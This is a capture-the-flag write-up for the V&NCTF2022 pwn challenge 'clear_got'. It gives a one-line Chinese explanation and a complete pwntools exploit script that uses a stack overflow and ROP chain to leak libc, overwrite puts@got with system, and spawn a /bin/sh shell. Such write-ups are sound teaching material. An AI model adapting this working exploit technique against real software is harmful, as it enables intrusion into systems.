V&NCTF2022

clear_got

image-20220225153956554

image-20220225153934386

image-20220225153923845

利用思路

栈溢出。利用end2函数泄露libc,再回到main函数的 mov eax, 0,调用sysread写system地址到 puts@got ,最后 call puts 即 getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'clear_got'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',20002)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc

main_addr = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
libc_main_got = elf.got['__libc_start_main']
syscall = 0x00000000040077E
syswrite = 0x0000000000400774
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
bss = 0x60107C
mov_eax = 0x00000000040075C
call_puts = 0x00000000040071E

p.recvuntil('competition.///')

payload = 'a'*0x68 + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(libc_main_got) + p64(0) + p64(syswrite)
payload += p64(mov_eax) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(puts_got)*2 + p64(syscall)
payload += p64(pop_rdi) + p64(puts_got+8) + p64(call_puts)
p.sendline(payload)

libc_main = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = libc_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
log.success('libc_main: ' + hex(libc_main))
log.success('libc_base: ' + hex(libc_base))

payload = p64(system_addr) + '/bin/sh\x00'
p.sendline(payload)

# gdb.attach(p)

p.interactive()